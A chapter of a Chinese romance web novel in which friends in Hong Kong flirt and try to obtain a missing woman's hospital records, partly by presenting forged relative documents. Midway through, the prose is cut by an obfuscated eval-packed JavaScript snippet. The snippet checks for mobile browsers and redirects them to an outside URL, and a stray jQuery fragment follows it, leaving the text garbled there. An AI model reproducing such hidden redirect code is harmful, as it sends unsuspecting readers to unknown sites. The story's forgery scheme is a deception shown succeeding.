飞机降落在香港国际机场时,吕裴郗脑中还处在混乱之中。
她的指尖无意识地触碰自己的唇,那里似是还残留着灼热的温度。
登机桥窗外的日光亮得有些刺眼,透过云层在她右脸上投下了明明灭灭的光斑,像极了此刻她胸腔里那颗摇摆不定的心跳。
她走在队伍的最后,目光却总是不受控制地落在陆毅恒的背影上。
就好像他的衬衫后领处还留着被她抓皱的痕迹。
“到了。”驻足在机场大厅的玻璃幕墙前的任之何,突然的开口。
他望着窗外那些拖着长尾的航班起降,声音里带着初歇的轻缓。
吕裴郗这才惊觉陆毅恒不知何时已经贴近了自己的身侧。
他整理袖口的动作依旧带着惯有的从容,可垂下手时,手背擦过她肌肤的触感却又有些烫得惊人。
“有两位合作伙伴正好在这边,”陆毅恒目光淡淡的扫过众人,最后落在吕裴郗身上,“我去见一下,你们自行安排,晚上酒店见。”
原本正低头假装在包里翻找什么的吕裴郗,在他转身的瞬间,鬼使神差地开口问了嘴:“男的女的?”
空气一滞。
她的话让在场几人都感到了不可思议。
陆毅恒脚步瞬间顿住,他回过头,眼底浮起一丝玩味。
他走近,微微俯身,嗓音低沉:“看样子,你也很在意,作为你爱人的我都在和谁相处。”
看着他饶有兴致的神色,吕裴郗反倒因为羞于被听到和空姐的对话而垂下了头。
她耳根一热,嘴硬道:“你又瞎说什么?我就单纯问问!”
陆毅恒低笑一声,没有拆穿她。
只是抬手替她拢发丝的动作看似绅士,指尖却恶劣地碾过她敏感的耳后。
“那你——”温热的吐息拂过她轻颤的睫毛,“要不要跟我走?”
他俯身之际,带着的薄荷气息就像是场精心设计的围猎,连呼吸都计算得恰到好处。
吕裴郗没有说话,攥紧包带的手指关节却有些发白。
她应该拒绝,并骂上一句不要脸,奈何双腿却自有主张地迈开了步子。
“我是怕你走丢了。”强撑的辩解在对方骤然明亮的眼神里溃不成军。
他来港澳的次数只多不少,怎么能走丢呢。
但他没有辩解,只是唇角微勾,毕竟要是惹到她生气,那可就得不偿失了。
远处三人依然站在原地,但看着两人渐远的背影却各自带有不同的情绪。
“怎么,你也想跟去?”傅黎凑近骆铭时,看着他那双晦暗不明的眼神,笑嘻嘻地问,“你不会真以为有客户在这边吧。”
“没有,”骆铭时收回视线,疑惑开口,“我只是好奇他们俩的关系变得好奇怪。”
得了。
这傻孩子。
“那,”任之何打断两人,“我们也走吧。”
傅黎回神,怎么差点忘了正事。
她连忙拉过还在盯着已经走远的两人而出神的骆铭时:“别看了,走了。”
骆铭时回过头,但仍然疑惑于两人关系什么时候和谐到这地步了。
出了大厅,傅黎问:“先去医院?”
任之何有些沉默,这两月里,那种恐惧的心情直逼他。
他其实并不敢随同他们一同来到香港。
但确切来说,是他不敢去仔细调查。
两月前,在从傅黎口中听到她最终出现在医院时,他是紧张的,是害怕的。
嘴上说着可能是她家里人,记忆里她却没有病重到要住院的家人。
那种不好的怀疑只要在心底出现一次,便可生根发芽。
然而这一切都是应该面对的,他不能退缩。
“怎么了?”见他迟迟不迈步走近,傅黎回头问。
医院大厅里人来人往,有人低头看报告单,有人推着轮椅,吱呀作响。
消毒水的气味悬在半空,刺鼻又难闻。
任之何的视线落在正前方,一个身着病服正弯腰系鞋带的女人身上。
她长发垂落,遮住了半张脸。
他的呼吸忽然滞住,直到那人直起身,露出陌生的眉目后,他才呼出一口气。
当傅黎顺着他的目光望去时,只看见了灯光下飞散的尘埃。
傅黎明白他的恐惧与紧张,那日如果不是他的打断,她大概会说出自己的怀疑。
“要不,你找个椅子坐会儿,我和骆铭时去问问看?”
这本是自己的事情,多加麻烦对方,任之何也有些过意不去。
然而他此刻的状态,完全不适合在跟在两人身后。
见他点头,傅黎便拉着骆铭时离开。
“为什么不让他一个找人的人跟着?”两人走远后,骆铭时突然一问。
傅黎:“你一会儿就知道了。”
骆铭时再次不解:“其实你现在也能告诉我。”
身后骆铭时因她突然停下的动作,而差点差点碾上她的鞋跟。
傅黎转过身,眼睛微眯:“因为那家伙会像这样,”她忽然伸手拽松他的领带,食指勾着真丝布料慢慢下滑,“被情绪紧勒住。”
走廊拐角传来的金属推车的叮铃哐啷声,盖住了骆铭时喉结的滚动。
她总是这样,无意识的勾引还不自知。
最让他瘫倒的是,她常常不对此负责。
“行了,”她松开他的领带,牵起他的手,“走吧。”
处在恍惚的骆铭时应声过后,便一声不吭的被其牵着走。
两人走出后门,将要去到医院行政楼时,傅黎忽然停下脚步。
她侧头看向骆铭时,抬起闲置的右手,指尖轻轻勾住他的领带,慢条斯理地绕了一圈。
“你知道吗?”她微微歪头,眼底带着几分促狭,“你今天的穿搭,很像是小孩子在装大人。”
骆铭时垂眸看她,唇角微扬,故意压低嗓音:“那姐姐你——”他缓缓倾身靠近,呼吸几乎拂过她的耳畔,“喜欢吗?”
近在咫尺之际,傅黎忽然抬手抵住他的胸口,阻止他的继续逼近。
“我还要脸。”她的指尖在他领带上轻轻一拽,像是警告,又像是调情。
骆铭时低笑,不退反进,鼻尖几乎蹭到她的侧脸:“你是在嫌弃我吗?姐姐——”他故意拖长尾音,嗓音带着几分撒娇的意味。
医院门诊楼和行政楼之间隔着几百米的路程,虽然周边没什么人,但傅黎还是被他这一声“姐姐”叫得耳根发烫。
她忍不住的抬手捂住他的嘴:“其实你可以不喊我姐姐,”她叹气,“我当时真的就是一时兴起,想听你喊上两声。”
骆铭时趁机抓住她的手腕,轻轻拉开,目光灼灼地盯着她:“那姐姐回答我,姐姐喜欢我今天的OOTD吗?”
傅黎突然意兴盎然的挑眉,她踮脚凑近,双手搭上他的肩膀语气戏谑:“亲爱的,你知道吗?”她故意放慢语速,“你这一米八六的人,用这种语气说话,真的很违和。”
照以前,听到她喊“亲爱的”,骆铭时大概会得寸进尺地缠着她多喊几遍。
可此刻,他却只是垂眸盯着她,眼底情绪晦暗不明,半晌没说话。
傅黎察觉到他的沉默,刚想开口,却见他喉结微动,嗓音低哑:“你不喜欢我了,对吗?”
他的眼圈微微泛红,像是真的受道了委屈,连带着呼吸都变得轻缓。
傅黎一愣,饶有兴致:“知不知道男人的眼泪,女人的兴奋剂啊,弟——弟——”说着,原本勾着他脖子的手慢慢缩短。
然而她越是这么说,骆铭时越是显得委屈,甚至偏过头去,闷声道:“那我也没见你有多兴奋。”
傅黎被他这副模样弄得哭笑不得,伸手捏住他的下巴,强迫他转回来:“憋回去,大庭广众的,哭什么哭?”
骆铭时吸了吸鼻子,声音低低的:“当初说要爱我一辈子的,这还没几年呢,就开始嫌弃我了。”
傅黎盯着他看了两秒,忽然松开手,转身就想走:“哦,那分手吧。”
轻飘飘的一句话,却像是一记闷雷砸在骆铭时心上。
他僵了一瞬,随即一把扣住她的手腕:“我错了。”
她没有回头,但也没甩开他的手。
骆铭时顿时喉头发紧,声音里终于带上了一丝慌乱:“我真的错了,你别不理我。”
傅黎依旧没说话,只是微微侧头,余光扫了他一眼。
骆铭时深吸一口气,指腹在她腕间轻轻摩挲,低声道:“我不演了,以后都不演了,你别生气。”
傅黎终于转过身,目光落在他脸上,半晌,忽然伸手拽住他的领带,将他拉近:“我没说不喜欢你这样。”
骆铭时眸光一软,顺势低头,额头抵住她的肩膀,闷闷开口:“你说分手了。”
傅黎抬手揉了揉他的头发,语气终于软了下来:“我开玩笑的嘛。”
“但是你说了。”他嗓音闷闷的,有些像是真的要哭。
果然,没出几秒,傅黎便感到脖颈一湿。
“骆铭时。”
被喊道名字的他,只是闷闷“嗯”了声。
“你是爱哭鬼吗?怎么这么爱哭。”
他是爱哭鬼。
可也只是面对她。
骆铭时身子向前拱了拱,抱紧了她。
温热的触感沿着她的颈侧缓缓游移,像是试探,又像是某种无声的宣告。
她下意识地攥紧了他的衣领,指尖陷入布料,却被他反手扣住手腕,按在了墙上。
“骆铭时……!”她低喘一声,声音被他的动作搅得支离破碎。
他没有回应,只是齿尖抵上她锁骨处细嫩的皮肤,轻轻一磨,随即吮住。
细微的刺痛感让她脊背发麻,她仰起头,喉间溢出一声闷哼。
他在咬。
他在吮吸。
他要在她身上烙下烙印。
用最原始的方式宣告所有权。
傅黎猛地揪住他的头发,力道不轻,却没能让他停下。
反而像是某种刺激,让他变本加厉地加重了吮吻的力度,舌尖甚至恶劣地蹭过那一小块泛红的皮肤。
“你疯了?”她咬牙,声音发颤,“这是医院!”
骆铭时终于抬起头,眼底暗沉一片。
他拇指抚过她锁骨上新鲜的痕迹,嗓音低哑:“现在所有人都能看见——”
他低头,鼻尖蹭过她的耳垂,呼吸灼热。
说出的后十个字让傅黎感到脸颊发烫。
他撑起头,说:“以后不许说那两个字,”他拢了拢她的发丝,“知道了吗?”
“哪两个字?”傅黎很快便从刚刚的“闹剧”中抽离,她再次心生捉弄。
“傅黎,”他手指一顿,抬眸盯上她的双目,“你不要装傻。”
“你知道我不会说那两个字的。”
“……”
闹剧结束,两人朝着行政楼走去。
傅黎整理着被弄皱的衣领,余光瞥见骆铭时唇角那抹得逞的笑意,忍不住抬脚轻踹他的小腿:“再乱来就把你丢在这儿。”
骆铭时顺势抓住她的手腕,指腹在她脉搏处轻轻摩挲:“你舍不得的。”
他声音很轻,带着笃定。
傅黎瞪了他一眼,却在一瞬被他眼底的温柔烫得心跳漏了一拍。
“自恋。”她别过脸,试图抽回手,却被他扣得更紧。</p
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16087750|166355||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
>
骆铭时低笑,指节蹭过她腕间细腻的肌肤:“我这是了解你啊,姐姐。”
他又开始了。
傅黎刚要反驳他这声“姐姐”,余光便瞥见行政楼走廊尽头的指示牌。
“别闹了,正事要紧。”她拽了拽被他握住的手,朝那个方向抬了抬下巴。
档案管理科的门半掩着,里面传来纸张翻动的窸窣声。
傅黎正要敲门,骆铭时突然从身后贴近,温热的气息拂过她耳畔:“你猜这个姐会不会像电视剧里那样,突然说出什么惊天秘密?”
门内,身穿浅蓝色工作服,胸前挂着“李静”字样名牌的中年女性猛地抬头,眼镜后的目光警惕地扫过来。
傅黎开口,缓和这尴尬的气氛:“您好,我们能打扰一下吗?”
“有什么事吗?”听出两人是内陆人,女人用着不太熟练的普通话回答,“这里不对外开放参观。”
“不是,我们不是来参观的。”傅黎解释道,“我们想查一下,六年前有没有一位叫随若的二十岁女孩在这所医院就诊。”
在骆铭时听到她话后的震惊之际,她接着说:“她是我朋友的女友,他们失联六年之久,中途毫无音讯。最近通过调查发现,她最后出现的地方就是这所医院。”
李静听后毫无动容,直接拿出规章制度想拒绝她的请求:“患者档案属于隐私,除非有法定亲属证明或司法文书,否则不能随意查阅。”
傅黎从容不迫:“我明白您们的规定,但这个女孩对我朋友非常重要,如果可以,还希望您能向上级汇报,随后的问题我们独自解决。”
李静推了推眼镜,指尖在桌角的档案盒上敲了敲:“规定就是规定,就算汇报也得按流程来。你们有亲属关系证明吗?或者法院的调查令?”
傅黎拿过骆铭时手中自己的包,翻找的间隙里,她抽空朝李静说:“我们知道规矩不能破。但这事儿确实特殊。随若失联后,她父母也在这两年车祸去世了,现在唯一能找她的就是我们这朋友。”
她把从包里掏出的牛皮纸信封递到李静桌上后,接着说:“这是她父母的死亡证明,还有社区开的亲属关系补充说明。”
骆铭时愣了愣,转头看她时,她正冲自己眨着眼睛,暗示这都是伪造的。
李静接过文件翻了翻,眉头皱得更紧:“就算这样,患者档案的查阅权限也只给直系亲属。你们这朋友……”
“我朋友是她未婚夫。”傅黎打断她,语气突然沉下来,“当年两人大学就订了婚,后来我那朋友突然去了英国,在回来就没了音讯。我朋友等了六年,从二十岁等到二十六岁,每天都在查她的消息。”
“您就当积德,向上帮忙申请一下。我们现在就想知道,她还活着吗……”她没再说下去,尾音里带着刻意的涩意,却让人听得心里发紧。
李静沉默了足足半分钟,目光在两人脸上转了一圈后,拿起桌上的内部电话,按下了几个数字,随后在一阵“嘟嘟”声后,对面接通了电话:“有事吗?李静。”
“是这样的,张科长。我这儿有个特殊情况。”她把傅黎刚刚所说,用粤语大致复述了一遍于张科长听。
“死亡证明和社区材料都有。”
“行,”张科长在电话那头传来起身的窸窣声,“我这就过去看看。”
“好,我让他们等您过来。”电话挂断,她指了指对面的椅子,“我们科长十分钟后到,你们先坐那等等吧。”
两人点头示意,随即抬步朝李静指的椅子走去。
坐下后,骆铭时朝傅黎偏过头,用只有两人能听到的声音问她:“这就是你说的“你一会儿就知道了”吗?”
傅黎没说话,只是点了点头。
“你刚刚说的这么确定的话,”骆铭时再次开口询问,“他知道吗?”
傅黎摇摇头,小声道:“我怀疑他是有所怀疑的,但是因为害怕而不敢确定。”
骆铭时不解:“那你是怎么确定的?”
“不要小瞧你女朋友的调查能力,ok?”
骆铭时一笑,道:“姐姐,你真的很厉害,很吸引人。”
傅黎一愣,有些没想到,但最后也欣然接受:“知道就好。劝你好好珍惜,小心我哪天被人捷足,有你后悔的。”
“你明知道我很害怕,”他说着,握着傅黎的手越发的紧,“你还这么说……”
还未来得及“安慰”两句骆铭时那脆弱的心灵,王静口中的张科长便到来了。
在与两人大致了解情况后,大概是心生共情,张科长很爽快地便答应了查找六年前随若病症档案一事。
但因时间久远,大概需要三到四天的时间才能从多年报告之中找到“随若”的档案。
索性两人便先行离开。
当然,两人于此这短暂的对话,与心中的了然,自然是不会告知任之何。
这种事情少一天知道,便多一天喘息。
两人回来时,正撞见任之何对着窗外的梧桐叶发怔。
阳光穿过叶隙落在他的侧脸之上,将那道浅浅的泪沟照得格外清晰。
“暂时没消息,”傅黎在他身边坐下,语气放轻,“档案太多,得等几天。”
任之何点了点头,喉结滚了滚才发出一声“嗯”。
故作镇定的一个字,想让人以为他不多么紧张与害怕,奈何他那紧攥着手机,指尖泛白的手,早就出卖了他。
有些等待终有尽头。
可悬在半空的猜测,却像这明灭不定的灯光,让人连呼吸都不由自主地放轻。
多一天喘息,便多一天自欺。
仿佛她只是躲在某个街角。
等他带着往日的笑容走近时,就能重新握住那熟悉的触感。